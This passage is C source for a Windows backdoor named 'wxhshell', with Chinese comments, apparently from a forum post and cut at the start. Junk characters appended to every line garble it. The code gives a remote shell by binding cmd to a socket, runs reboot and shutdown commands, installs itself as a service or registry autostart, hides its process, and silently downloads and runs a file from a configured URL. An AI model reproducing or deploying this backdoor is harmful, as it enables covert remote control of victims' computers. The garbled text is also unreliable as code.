      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q.\+ XR_|  
    break; HLk}E*.mC  
  } u =rY  
  // 安装 Yl-09)7s  
  case 'i': { i9.5 2  
    if(Install()) 3%<ia$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )%ja6Vg  
    else >2VB.f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b.Y[:R_9&  
    break; D"A`b{z  
    } Ypv"u0  
  // 卸载 Ap}:^k5{  
  case 'r': { :4Q_\'P  
    if(Uninstall()) {Qw,L;R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dh*GJ{5  
    else {'d?vm!r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L]HY*e  
    break; (''`Ce  
    } f0wQn09  
  // 显示 wxhshell 所在路径 "me J n/  
  case 'p': { H.i_,ZF  
    char svExeFile[MAX_PATH]; hrcR"OZ~X  
    strcpy(svExeFile,"\n\r"); 5[/ *UtB  
      strcat(svExeFile,ExeFile); Q`19YX  
        send(wsh,svExeFile,strlen(svExeFile),0); /5yW vra  
    break; R )?8A\<E  
    } u :m]-'  
  // 重启 G e~&Ble  
  case 'b': { [IV8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S4?ss I  
    if(Boot(REBOOT)) QKOo # 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$b/@hp$z  
    else { }GGFJ"  
    closesocket(wsh); O 6A:0yM4  
    ExitThread(0); 7Bmt^J5i&t  
    } Keof{>V=CA  
    break; vZXyc *  
    } -} Z  
  // 关机 ^'FY!^dE  
  case 'd': { vn,L),"=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `7N[rs9|S  
    if(Boot(SHUTDOWN)) PeE'#&w n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {W0]0_mI(  
    else { ,GR(y^S  
    closesocket(wsh); !vett4C* K  
    ExitThread(0); vQIoj31  
    } 9*,5R,#  
    break; M>T#MDK\(  
    } q"]-CGAa  
  // 获取shell x%x[5.CT  
  case 's': { im1]:kr7  
    CmdShell(wsh); %C)U F  
    closesocket(wsh); |5![k<o#  
    ExitThread(0); =|?w<qc  
    break; zo]7#  
  } _Thc\{aV#  
  // 退出 <'B`b  
  case 'x': { k`TEA?RfQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V?5_J%  
    CloseIt(wsh); L'[ '7  
    break; L2K4nTA  
    } 5IMh$!/uc  
  // 离开 M(/%w"R  
  case 'q': { KN+*_L-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YR[Ii?  
    closesocket(wsh); Vw)\#6FL  
    WSACleanup(); i-&kUG_X  
    exit(1); Vr5a:u'  
    break; ;%U`lE0  
        } qe\j$Cjy  
  } r*,]=M W  
  } @rVmr{UE  
dd$\Q  
  // 提示信息 wmT3 >  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~8|$KD4I  
} 0>.'w\,87B  
  }  i4Fw+Z  
|/r@z[t  
  return; 8qBw;A)  
} R\X=Vg  
78NAcP~6c  
// shell模块句柄 [& hdyLt  
int CmdShell(SOCKET sock) zHx?-Q&3  
{ kuUH 2:L  
STARTUPINFO si; =@ON>SmPs  
ZeroMemory(&si,sizeof(si)); flmcY7ZV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =#>P !  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \>jK\j  
PROCESS_INFORMATION ProcessInfo; 8I~H1  
char cmdline[]="cmd"; }*0%wP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g\6(ezUF*  
  return 0; 1bvL  
} TmUn/  
Q>z0?%B  
// 自身启动模式 & f!!UZMt)  
int StartFromService(void) X|.X4fs  
{ (r7~ccy4  
typedef struct 12k)Ek9  
{  T>LtN  
  DWORD ExitStatus; Xv'64Nc!;  
  DWORD PebBaseAddress; %7L'2/Y2x  
  DWORD AffinityMask; K,^b=_]  
  DWORD BasePriority; ]Q)TqwYF  
  ULONG UniqueProcessId; y6G[-?"/Q  
  ULONG InheritedFromUniqueProcessId; 1M<'^(t3d  
}   PROCESS_BASIC_INFORMATION; az19-QIcg  
_s=[z$EN&  
PROCNTQSIP NtQueryInformationProcess; =>BT]WK>  
LWIU7dw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EcP"GO5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u#}zNz#C5  
[%bshaY:  
  HANDLE             hProcess; f#5mX&j  
  PROCESS_BASIC_INFORMATION pbi; \WZ00Y,*  
BfhOe~+i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f)gA.Rz  
  if(NULL == hInst ) return 0; zzPgLE55  
$r_z""eOc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N(F9vZOs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qt3 \*U7x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Ilgc CF  
\N;s@j W  
  if (!NtQueryInformationProcess) return 0; Ba@UX(t  
AMtFOXx%I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T\2cAW5  
  if(!hProcess) return 0; a*vi&$@`Z1  
|n* I}w^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1k "*@Z<  
o<%Sr*  
  CloseHandle(hProcess); hX[hR  
Ak|j J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JJ[J'xl@  
if(hProcess==NULL) return 0; ~sk 4v:-  
'm-s8]-W  
HMODULE hMod; !&! sn"yD  
char procName[255]; "9R3S[  
unsigned long cbNeeded; qzV:N8+,`  
Hh;7 hY\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5w{_WR6,  
o2Z# 5-  
  CloseHandle(hProcess); i) :Q{[D  
|-Y,:sY:  
if(strstr(procName,"services")) return 1; // 以服务启动 :@kSDy+*Q  
=Ermh7,  
  return 0; // 注册表启动 =X>?Y,   
} lgre@M]mg  
z^=9%tLJ  
// 主模块 &{l?j>|TM  
int StartWxhshell(LPSTR lpCmdLine) E[ e ''  
{ &~ uzu{  
  SOCKET wsl; ? NVN&zD]  
BOOL val=TRUE; =y ^N '1q  
  int port=0; }JvyjE  
  struct sockaddr_in door; &e2") 4oh  
Z?1.Y7Npr  
  if(wscfg.ws_autoins) Install(); Qs</.PO  
lwjg57  
port=atoi(lpCmdLine); "TG}aS  
6Pd;I,k  
if(port<=0) port=wscfg.ws_port; DTgF,c  
6(X(f;MEl  
  WSADATA data; +d Ig&}Tr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C#vU'RNpl  
6?(*:}Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M(SH3~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +*F ;l\R  
  door.sin_family = AF_INET; >CNH=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~?S/0]?c  
  door.sin_port = htons(port); N(&,+KJ)  
:Q!U;33aG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /R@eOl}D  
closesocket(wsl); o3j4XrK  
return 1; {n2jAR9nq  
} |Y2u=B  
?v `0KF  
  if(listen(wsl,2) == INVALID_SOCKET) { 1;g>?18@  
closesocket(wsl); XeJx/'9o{  
return 1; 6YYZ S2  
} BTGPP@p4  
  Wxhshell(wsl); JKXs/r;:  
  WSACleanup(); OG/R6k.  
+qDudGI  
return 0; VbJGyjx  
~B|K]&/]  
} ,Q2`N{f  
MhWmY[  
// 以NT服务方式启动 #.#T+B+9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4GeWo@8h  
{ U $e-e/  
DWORD   status = 0; gQ/-.1Pz$  
  DWORD   specificError = 0xfffffff; 9xN4\y6F  
PzNk:O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^JJ*pT:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E0Ig/ j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $hn #T#J3  
  serviceStatus.dwWin32ExitCode     = 0; D3|y|Dr  
  serviceStatus.dwServiceSpecificExitCode = 0; /vBOf;L  
  serviceStatus.dwCheckPoint       = 0; iO>2#p8$NR  
  serviceStatus.dwWaitHint       = 0; $yLsuqB}  
Vw<=& w#K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *oKc4S+  
  if (hServiceStatusHandle==0) return; gb( a`  
,*wa#[  
status = GetLastError(); MG<F.u  
  if (status!=NO_ERROR) H Y\-sl^  
{ %F]4)XeW-+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nu<M~/  
    serviceStatus.dwCheckPoint       = 0; <TC\Nb$~  
    serviceStatus.dwWaitHint       = 0; cxp>4[gH  
    serviceStatus.dwWin32ExitCode     = status; 9)];l?l  
    serviceStatus.dwServiceSpecificExitCode = specificError; R>BnUIu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d[6[3B  
    return; bb}|"m .  
  } "+~La{ POc  
V80g+)|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 48Vmz  
  serviceStatus.dwCheckPoint       = 0; .|G([O^H  
  serviceStatus.dwWaitHint       = 0; sy0|=E*;8"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L$=6R3GI  
} &k+ jVymH  
Sbc  
// 处理NT服务事件,比如:启动、停止 iLIH |P%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eR$qw#%c*  
{ a;r,*zZ="  
switch(fdwControl) [:&4Tp*C  
{ /2Y t\=S=  
case SERVICE_CONTROL_STOP: LK-2e$1  
  serviceStatus.dwWin32ExitCode = 0; ]N!8U_U3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mG*[5?=r  
  serviceStatus.dwCheckPoint   = 0; ?h2!Z{[0b  
  serviceStatus.dwWaitHint     = 0; XJ^dX]4  
  { N\1 EWi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @!1o +x  
  } *I:^g  
  return; +fBbW::R^  
case SERVICE_CONTROL_PAUSE: g\[?U9qN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w@ALl#z;}  
  break; :70[zo7n'  
case SERVICE_CONTROL_CONTINUE: (P%{Tab  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |08b=aR6ro  
  break; ^`XQ>-wWue  
case SERVICE_CONTROL_INTERROGATE: outAZy=R;  
  break; IH(]RHTp%  
}; x|g>Zd/n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G~b/!clN  
} KzZ|{ !C  
X0wvOs:  
// 标准应用程序主函数 !VBl/ aU@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #&u9z5ywM  
{ 2K[Y|.u8>q  
c5Fl:=h  
// 获取操作系统版本 j?<>y/IR  
OsIsNt=GetOsVer(); !6{; z/Hy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >1q W*  
_Vul9=  
  // 从命令行安装 2_k2t ?   
  if(strpbrk(lpCmdLine,"iI")) Install(); Osz:23(p  
XRA RgWj  
  // 下载执行文件 m?G@#[ l  
if(wscfg.ws_downexe) { lKKg n{R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b9`vYnLk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1- Jd Qs6  
} xvn@zi  
)nE=H,U?y  
if(!OsIsNt) { ~U"puEftbs  
// 如果时win9x,隐藏进程并且设置为注册表启动 S<fSoU+RJ  
HideProc(); Y<0}z>^  
StartWxhshell(lpCmdLine); jRdmQ mTJ  
} k;BXt:jDq  
else }h{8i_R  
  if(StartFromService()) #2 Gy=GvV  
  // 以服务方式启动 Lmh4ezrdH  
  StartServiceCtrlDispatcher(DispatchTable); LGu K@^  
else noI>Fw<V  
  // 普通方式启动 <Cv 6wC=  
  StartWxhshell(lpCmdLine); w1>uD]  
pe%$(%@v  
return 0; /<zBjvr%%  
}
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只看该作者 1 发表于: 2006-10-10
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